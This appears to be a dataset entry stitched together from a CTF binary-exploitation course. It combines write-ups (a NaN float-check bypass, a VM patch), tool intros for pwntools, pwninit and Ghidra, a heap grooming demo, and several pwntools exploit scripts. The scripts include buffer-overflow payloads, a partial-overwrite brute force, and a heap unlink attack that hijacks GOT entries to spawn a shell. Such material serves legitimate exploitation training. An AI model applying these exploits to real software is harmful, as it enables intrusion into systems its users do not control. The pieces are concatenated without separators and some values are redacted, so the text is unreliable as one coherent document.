deardaniel/secdata-raw huggingface dataset:
# Sunshine CTF 2017 Alternate Solution

Let's take a look at the binary. Also a bit of a spoiler, this isn't exactly index related however at the time this is the best place I thought to put this (and I didn't want to make an entire module for this):

```
$    file alternate_solution
alternate_solution: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=71145a1bcd538b6d000dfce2357c01cfe53a3db9, not stripped
$    pwn checksec alternate_solution
[*] '/Hackery/pod/modules/index/sunshinectf2017_alternatesolution/alternate_solution'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./alternate_solution
15935728
Too high just like your hopes of reaching the bottom.
```

So we can see that we are dealing with a `64` bit binary. When we look at the main function in Ghidra we see this:

```

undefined8 main(void)

{
  long lVar1;
  FILE *flagFile;
  char *pcVar2;
  long in_FS_OFFSET;
  double inpFloat;
  char input [10];
  char flagBuf [56];
  long canary;
 
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  fgets(input,10,stdin);
  inpFloat = atof(input);
  if ((float)inpFloat < 37.35928345) {
    puts("Too low just like you\'re chances of reaching the bottom.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (37.35928345 < (float)inpFloat) {
    puts("Too high just like your hopes of reaching the bottom.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  flagFile = fopen("flag.txt","r");
  while( true ) {
    pcVar2 = fgets(flagBuf,0x32,flagFile);
    if (pcVar2 == (char *)0x0) break;
    printf("%s",flagBuf);
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

So we can see that the input we gave it is converted to a float. If it is greater than or less than `37.35928345`, the program will exit. We can see that if it doesn't exit, then it will scan in the contents of `flag.txt` and print it (thus we get the flag). However there is one issue. The value `37.35928345` contains more decimal places than a float handles, so we can get the number `37.35928345` to pass those checks:

```
$    ./alternate_solution
37.35928345
Too low just like you're chances of reaching the bottom.
```

So we can't pass in the number `37.35928345` which is the only number not greater than or less than `37.35928345`. However we can still fail both checks. Floats have a special value called `nan` (stands for not a number). If the float is not a number, it will not be greater than, less than, or equal to `37.35928345` since it isn't a number. With that we can fail both checks and get the flag:

```
$    ./alternate_solution
nan
sun{50m3times yoU_h@v3_t0 get cr3@t1v3}
```

Just like that, we got the flag. Also this is another challenge I made for Sunshine CTF back in 20117.
from pwn import *

target = process('./xkcd')
#gdb.attach(target, gdbscript = 'b *0x401034\nb *0x401077\nb* 0x4010ba\nb *0x4010f4\nb *0x40110e')
gdb.attach(target, gdbscript='b *main+0x1f1')

payload = ""
payload += "SERVER, ARE YOU STILL THERE"
payload += "?"
payload += " IF SO, REPLY "
payload += '\"'
payload += "0"*0x200
payload += "\""
payload += "111"
payload += "("
payload += "530"
payload += ")"

target.sendline(payload)

target.interactive()
# Heap Grooming Explanation

This is just a well documented c file which explains what heap grooming is, and shows one example of it. 

The C code:

```
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
	puts("So today we will be discussing heap grooming.");
	puts("The heap has a lot of behavior that is predictable.");
	puts("Heap grooming is when we manipulate the heap in certain ways, so it performs certain actions.");
	puts("That includes mapping additional pages to memory, and how it allocates certain chunks.\n");

	puts("For performance purposes, malloc will reuse recently freed chunks if they fit the size.");
	puts("Let's allocate some chunks!\n");

	unsigned long int *ptr0, *ptr1, *ptr2;

	ptr0 = malloc(0x10); 
	ptr1 = malloc(0x10); 
	ptr2 = malloc(0x10); 

	printf("Our chunks are:\nptr0: %p\nptr1: %p\nptr2: %p\n\n", ptr0, ptr1, ptr2);

	printf("Now let's free them.\n\n");

	free(ptr0);
	free(ptr1);
	free(ptr2);

	printf("Now that they have been freed, we will allocate three chunks of the same size.\n");
	printf("Because of malloc's chunk reusage, we should get the same three chunks we freed back in the reverse order.\n");
	printf("So we should get ptr2 first, then ptr1, and then finally ptr0.\n\n");

	printf("ptr0: %p\n", malloc(0x10));
	printf("ptr1: %p\n", malloc(0x10));
	printf("ptr2: %p\n\n", malloc(0x10));

	printf("You see by allocating and freeing heap chunks (just a little bit of heap grooming), we were able to accurately predict future chunks that will be allocated.\n");
	printf("This is just one small example of how we can use heap grooming to manipulate the heap to perform certain actions.\n");
}
```

When it runs:

```
$	./explanation_heap_grooming 
So today we will be discussing heap grooming.
The heap has a lot of behavior that is predictable.
Heap grooming is when we manipulate the heap in certain ways, so it performs certain actions.
That includes mapping additional pages to memory, and how it allocates certain chunks.

For performance purposes, malloc will reuse recently freed chunks if they fit the size.
Let's allocate some chunks!

Our chunks are:
ptr0: 0x55bd0a0ac670
ptr1: 0x55bd0a0ac690
ptr2: 0x55bd0a0ac6b0

Now let's free them.

Now that they have been freed, we will allocate three chunks of the same size.
Because of malloc's chunk reusage, we should get the same three chunks we freed back in the reverse order.
So we should get ptr2 first, then ptr1, and then finally ptr0.

ptr0: 0x55bd0a0ac6b0
ptr1: 0x55bd0a0ac690
ptr2: 0x55bd0a0ac670

You see by allocating and freeing heap chunks (just a little bit of heap grooming), we were able to accurately predict future chunks that will be allocated.
This is just one small example of how we can use heap grooming to manipulate the heap to perform certain actions.
```
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
	puts("So today we will be discussing heap grooming.");
	puts("The heap has a lot of behavior that is predictable.");
	puts("Heap grooming is when we manipulate the heap in certain ways, so it performs certain actions.");
	puts("That includes mapping additional pages to memory, and how it allocates certain chunks.\n");

	puts("For performance purposes, malloc will reuse recently freed chunks if they fit the size.");
	puts("Let's allocate some chunks!\n");

	unsigned long int *ptr0, *ptr1, *ptr2;

	ptr0 = malloc(0x10); 
	ptr1 = malloc(0x10); 
	ptr2 = malloc(0x10); 

	printf("Our chunks are:\nptr0: %p\nptr1: %p\nptr2: %p\n\n", ptr0, ptr1, ptr2);

	printf("Now let's free them.\n\n");

	free(ptr0);
	free(ptr1);
	free(ptr2);

	printf("Now that they have been freed, we will allocate three chunks of the same size.\n");
	printf("Because of malloc's chunk reusage, we should get the same three chunks we freed back in the reverse order.\n");
	printf("So we should get ptr2 first, then ptr1, and then finally ptr0.\n\n");

	printf("ptr0: %p\n", malloc(0x10));
	printf("ptr1: %p\n", malloc(0x10));
	printf("ptr2: %p\n\n", malloc(0x10));

	printf("You see by allocating and freeing heap chunks (just a little bit of heap grooming), we were able to accurately predict future chunks that will be allocated.\n");
	printf("This is just one small example of how we can use heap grooming to manipulate the heap to perform certain actions.\n");
}
from pwn import *

target = process('./auth', env={"LD_PRELOAD":"./libc-2.23.so"})
#gdb.attach(target)

username = "0"*8 + "\x05"

target.sendline("login " + username)

target.sendline("reset")

target.sendline("login guyintux")

target.sendline("get-flag")

target.interactive()
# h3 h3machine1

Let's take a look at the disassembly for the binary file we are given for this challenge:

```
$    ./h3disasm challenge1.h3i
0001: 12040000 push 0000
0002: 41040800 jz 0008
0003: 12044281 push 8142
0004: 37041000 lshift 0010
0005: 1204c0a9 push a9c0
0006: 31000000 or
0007: 50040080 setf 8000
0008: 00000000 halt
```

So we can see here, the assembly code for this program consists of just 8 instructions. The second address we can see a jz instruction, which should jump to the address `0008`, which just runs the halt instruction, thus ending the program. Because of this, we will never be able to execute the instructions between `0003` and `0007`. Looking at the instructions between the addresses `0003` to `0007` we see that it pushes values onto the stack, and runs several different binary operations on it. It is probably generating the flag. Since we have the wonderful documentation, we know a lot regarding the assembly, we can simply patch the code to jump to the instruction `0003` instead of `0008`, thus running the segment of code that we should be missing. To patch it, we will need a hex editor. For this you can use bless:

```
$    sudo apt-get install bless
```

This is the program before we patch it:

```
00000000: 00 00 00 00 12 04 00 00 41 04 08 00 12 04 42 81  ........A.....B.
00000010: 37 04 10 00 12 04 c0 a9 31 00 00 00 50 04 00 80  7.......1...P...
00000020: 00 00 00 00                                      ....
```

This is the program after we patch it:

```
00000000: 00 00 00 00 12 04 00 00 41 04 03 00 12 04 42 81  ........A.....B.
00000010: 37 04 10 00 12 04 c0 a9 31 00 00 00 50 04 00 80  7.......1...P...
00000020: 00 00 00 00                                      ....
```
As you can see, we only had to change one byte (the argument to the jz instruction). Let's try to run the patched version now (I used the `--trace` option so it printed all of the instructions, and the stack contents):

```
$    ./h3emu --trace challenge1-patched.h3i
0001: push 0000
0002: jz 0003
0003: push 8142
0004: lshift 0010
0005: push a9c0
0006: or
0007: setf 8000
0008: halt
Stack:
ffff: 00000000
fffe: flag{8142a9c0}

Registers:
IP: 0009
SP: fffe
Flags:   F
```

When we run the patched version, we can see that the rest of the code does run. Even more so, we can see that the flag is loaded onto the stack for us. Just like that, we captured the flag.
#First import pwntools
from pwn import *

#Establish the target, either remote connection or local process
target = process('./prophecy')
#target = remote("reversing.chal.csaw.io", 7668)

#Attach gdb
#gdb.attach(target)

#Print out the starting menu, prompt for input from user, then send filename
print target.recvuntil(">>")
raw_input()
target.sendline(".starcraft")

#Prompt for user input to pause
raw_input()

#Form the data to pass the check, then send it
check0 = "\x08\x25\x20\x17"
check1 = "\x4b"*4 + "\x00"  +  "\x4b"*4
check2 = "\x03"*1
check3 = "\x93\xea\xe4\x00"
check4 = "\x5a\x45\x52\x41\x54\x55\x4c"
check5 = "\x00\x53\x41\x56\x45\x44"
check6 = "\x00\x41\x4c\x4c"
target.send(check0 + check1 + check2 + check3 + check4 + check5 + check6)

#Drop to an interactive shell
target.interactive()
#This script is based off of the writeup from: https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2016/BKPCTF/reversing/unholy

#Import libraries
from z3 import *
import xtea
from struct import *

def solvePython():
    z = Solver()

    #Establish the input that z3 has control over
    X=[[BitVec(0,32), BitVec(1,32), BitVec(2,32)], [BitVec(3,32), BitVec(4,32), BitVec(5,32)], [BitVec(6,32), BitVec(7,32), BitVec(8,32)]]
    
    #Establish the other necessary constants
    Y = [[383212,38297,8201833],[382494 ,348234985,[PII_REDACTED]],[3842947 ,984328,[PII_REDACTED]9]]
    n=[[PII_REDACTED],[PII_REDACTED]15555591,[PII_REDACTED][PII_REDACTED],-[PII_REDACTED],[PII_REDACTED]4288795,[PII_REDACTED][PII_REDACTED],-[PII_REDACTED],[PII_REDACTED]4250759,[PII_REDACTED][PII_REDACTED]]
    y=[[0,0,0],[0,0,0],[0,0,0]]
    
    #A=[0,0,0,0,0,0,0,0,0]

    #Pass the z3 input through the input altering algorithm
    for i in range(len(X)):
        for j in range(len(Y[0])):
            for k in range(len(Y)):
                y[i][j]+=X[i][k]*Y[k][j]
    c=0

    for r in y:
        for x in r:
            #Add the condition for it to pass the check
            #if x!=n[c]:
            z.add(x == n[c])
            c=c+1

    #Check to see if the z3 conditions are possible to solve
    if z.check() == sat:
        print "The condition is satisfiable, would still recommend crying: " + str(z.check())
        #Solve it, store it in matrix, then return
        solution = z.model()
        matrix = [[0, 0, 0], [0, 0, 0], [0, 0, 0]]
        for i0 in xrange(len(matrix)):
            for i1 in xrange(len(matrix)):
                matrix[i0][i1] = solution[X[i0][i1]].as_long()
        return matrix
    else:
        print "The condition is not satisfiable, would recommend crying alot: " + str(z.check())
 
def xteaDecrypt(matrix):
    #Establish the key
    key = "tahwiogsnognereh"

    #Take the imported matrix, convert it into a string
    enc_data = ''
    for i0 in xrange(3):
        for i1 in xrange(3):
            #Unpack the matrix entries as four byte Integers in Big Endian
            enc_data += pack('>I', matrix[i0][i1])

    #Because of the check prior to python code running in the shared library we know the last value before decryption should be this
    enc_data += pack('>I', 0x4de3f9fd)

    #Establish the key, and mode for xtea
    enc = xtea.new(key, mode=xtea.MODE_ECB)

    #Decrypt the encrypted data
    decrypted = enc.decrypt(enc_data)
    
    #We have to reformat the decrypted data
    data = ''
    for i in range(0, len(decrypted), 4):
        data += decrypted[i:i+4][::-1]

    #We check to ensure that the last four characters match the four that are appended prior to encryption
    if data[len(data) - 4:len(data)] == " Ssa":
        return data

#Run the code
matrix = solvePython()
flag = xteaDecrypt(matrix)
print "The flag is: " + flag
hero = [0x0, 0x64, 0xd6, 0x10a, 0x171, 0x1a1, 0x20f, 0x26e, 0x2dd, 0x34f, 0x3ae, 0x41e, 0x452, 0x4c6, 0x538, 0x5a1, 0x604, 0x635, 0x696, 0x704, 0x763, 0x7cc, 0x840, 0x875, 0x8d4, 0x920, 0x96c, 0x9c2, 0xa0f]

flag = ""

for i in range(1, len(hero)):
	flag += chr(hero[i] - hero[i - 1])

print "We fought off the dragon: " + flag
from pwn import *

# Declare the target
target = process('./pwn2')
#gdb.attach(target, gdbscript='pie b *0x7bc')

# Make and send the payload
payload = "0"*0x1e + "\xd8"
target.sendline(payload)

target.interactive()
from pwn import *

targetProcess = process('./stackstuff')
#gdb.attach(targetProcess)

# Initialize constants
flag = 0
i = 0x00

# Enter into the loop to brute force it
while flag == 0:

    # Establish the connection
    target = remote('127.0.0.1', 1514)

    # Filler from start of our input to return address
    payload = "0"*0x48

    # Our vsyscall gadget to act essentially as a rop nop
    vsyscall_ret = p64(0xffffffffff600800)

    payload += vsyscall_ret*2

    # Our least significant byte of our partial overwrite
    payload += "\x8b"

    # The byte which we will be brute forcing
    payload += chr(i)

    # Specify length of our input to be 90 bytes
    target.sendline('90')

    # Send the payload
    target.sendline(payload)

    target.recvuntil("Length of password: ")
    try:
        # Executes if we got the flag
        print "flag: " + target.recvline()
        flag = 1
    except:
        # Didn't get the flag, try next byte
        # Also we know that the lower 4 bits of this byte is 0x0
        print "tried: " + hex(i)
        i += 0x10
#Import pwntools
from pwn import *

#Establish the target
target = process('vuln-chat2.0')
#gdb.attach(target, gdbscript = 'b *0x8048608')

#Print out the text up to the username prompt
print target.recvuntil('Enter your username: ')

#Send the username, doesn't really matter
target.sendline('guyinatuxedo')

#Print the text up to the next prompt
print target.recvuntil('guyinatuxedo: ')

#Construct the payload, and send it
payload = `0`*0x2b + "\x72"
target.send(payload)

#Drop to an interactive shell
target.interactive()
# pwntools intro

Pwntools is a python ctf library designed for rapid exploit development. It essentially help us write exploits quickly, and has a lot of useful functionality behind it.

Also one thing to note, pwntools has Python2 and Python3 versions. Atm this course uses the Python2, but I have plans to switch it all over to Python3. Just keep in mind that some things change between Python2 to the Python3 versions, however the changes are relatively small.

## Installation

It's fairly simple process. The installation process is pretty much just using pip:

```
$    sudo pip install pwn
```

If you have any problems, google will help a lot.

## Using it

So this is going to be an explanation on how you do various things with pwntools. It will only cover a small bit of functionality.

If we want to import it into python:

```
from pwn import *
```

Now one thing that pwntools does for us, is it has some nice piping functionality which helps with IO. If we want to connect to the server at `github.com` (if you have an IP address, just swap out the dns name with the IP address) on port `9000` via tcp:

```
target = remote("github.com", 9000)
```

If you want to run a target binary:

```
target = process("./challenge")
```

If you want to attach the `gdb` debugger to a process:

```
gdb.attach(target)
```

If we want to attach the `gdb` debugger to a process, and also immediately pass a command to `gdb` to set a breakpoint at main:

```
gdb.attach(target, gdbscript='b *main')
```

Now for actual I/O. If we want to send the variable `x` to the `target` (target can be something like a process, or remote connection established by pwntools):

```
target.send(x)
```

If we wanted to send the variable `x` followed by a newline character appended to the end:

```
target.sendline(x)
```

If we wanted to print a single line of text from `target`:
```
print target.recvline()
```

If we wanted to print all text from `target` up to the string `out`:
```
print target.recvuntil("out")
```

Now one more thing, ELFs store data via least endian, meaning that data is stored with the least significant byte first. In a few situations where we are scanning in an integer, we will need to take this into account. Luckily pwntools will take care of this for us.

To pack the integer `y` as a least endian QWORD (commonly used for `x64`):

```
p64(x)
```

To pack the integer `y` as a least endian DWORD (commonly used for `x86`):
```
p32(x)
```

It can also unpack values we get. Let's say we wanted to unpack a least endian QWORD and get it's integer value:

```
u64(x)
```

To unpack a DWORD:

```
u32(x)
```

Lastly if just wanted to interact directly with `target`:

```
target.interactive()
```

This is only a small bit of the functionality pwntools has. You will see a lot more of the functionality later. If you want to see more of pwntools, it has some great docs: http://docs.pwntools.com/en/stable/
## Pwninit Intro
Pwninit is a tool to automate setup for binary exploitation. It's main features include auto linking Libc's, fixing paths and fetching linkers

### Installation
`cargo install pwninit`

### Using it 
Just run pwninit in the current directory with the binary and libc and it will auto detect the files and do its magic

Pwninit also takes arugments such as `--bin` and `--libc` if you want to specify these
`pwninit --bin ret2libc --libc libc-2.31.so`
# ghidra

Ghidra is an open sourced decompiler. A compiler takes source code like C, and converts it into machine code. A decompiler tries to do the opposite. It takes machine code and generates code that resembles it's source code. However, since the process of compiling source code isn't like a 1 to 1 function, the code it gives us isn't always 100% correct. Even with that it can be a great help, and really reduce the amount of time we spend reversing challenges (btw reversing is just the process of figuring out what something does).

## Installation

Installation is pretty simple. Install Java, then you just run ghidra (since ghidra was written in java). Google can help with this.

## Using it

Since we are primarily using Ghidra's GUI, I feel that the best way to learn how to use Ghidra would be to either try it yourself, or watch some videos (versus just reading a lot of text). Feel free to look into this yourself, and / or try some of these videos/links that helpful people on the internet made. You don't need to understand :

```
https://www.youtube.com/watch?v=fTGTnrgjuGA
https://threatvector.cylance.com/en_us/home/an-introduction-to-code-analysis-with-ghidra.html
https://ghidra-sre.org/InstallationGuide.html
```

Also after this, I would recommend having a linux VM (I typically use Ubuntu for ctfing).
from pwn import *

target = process("./stkof", env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF("stkof")
libc = ELF("libc-2.23.so")

#gdb.attach(target, gdbscript='b *0x400b7a')

# I/O Functions
def add(size):
  target.sendline("1")
  target.sendline(str(size))
  print target.recvuntil("OK\n")

def scan(index, size, data):
  target.sendline("2")
  target.sendline(str(index))
  target.sendline(str(size))
  target.send(data)
  print target.recvuntil("OK\n")

def remove(index):
  target.sendline("3")
  target.sendline(str(index))
  print target.recvuntil("OK\n")

def view(index):
  target.sendline("4")
  target.sendline(str(index))
  #print "pillar"
  leak = target.recvline()
  leak = leak.replace("\x0a", "")
  leak = u64(leak + "\x00"*(8-len(leak)))
  print hex(leak)
  #print "men"
  print target.recvuntil("OK\n")
  return leak

# The array of ptrs starts at 0x602140
# 0x602160 contains the specific heap chunk ptr to the chunk which will hold our fake chunk in it
ptr = 0x602160

# Allocate several different chunks so we can get adjacent chunks
add(0xa0)
add(0xa0)
add(0xa0)
add(0xa0)# The chunk which will store our fake chunk
add(0xa0)
add(0xa0)

# Construct the fake chunk

fakeChunk = ""
fakeChunk += p64(0x0)   # Previous Size
fakeChunk += p64(0xa0)    # Size
fakeChunk += p64(ptr - 0x8*3) # FD ptr
fakeChunk += p64(ptr - 0x8*2) # BK ptr
fakeChunk += p64(0x0)*((0xa0 - 0x20)/8) # FD Next Size / filler to the next chunks heap metadata

# These 16 bytes will overflow into the next chunks heap metadata

fakeChunk += p64(0xa0)  # Previous Size
fakeChunk += p64(0xb0)  # Size

# Send the data for the fake chunk and the heap metadata overflow
scan(4, 0xb0, fakeChunk)

# Trigger the unlink attack by freeing the chunk with the overflowed heap metadata
remove(5)

# Write the got addresses of strlen and malloc to 0x602148 (array of ptrs of heap address)
scan(4, 0x10, p64(elf.got["strlen"]) + p64(elf.got["malloc"]))

# Overwrite got entry for strlen with plt address of puts
scan(1, 0x8, p64(elf.symbols["puts"]))

# Leak the libc address of malloc, calculate libc base and oneshot gadget address
mallocLibc = view(2)
libcBase = mallocLibc - libc.symbols["malloc"]
oneShot = libcBase + 0xf02a4

print "libc base: " + hex(libcBase)
print "oneshot gadget: " + hex(oneShot)

# Overwrite got entry for malloc with oneshot gadget
scan(2, 0x8, p64(oneShot))

# Call malloc
target.send("1\n1\n")

# Enjoy your shell!
target.interactive()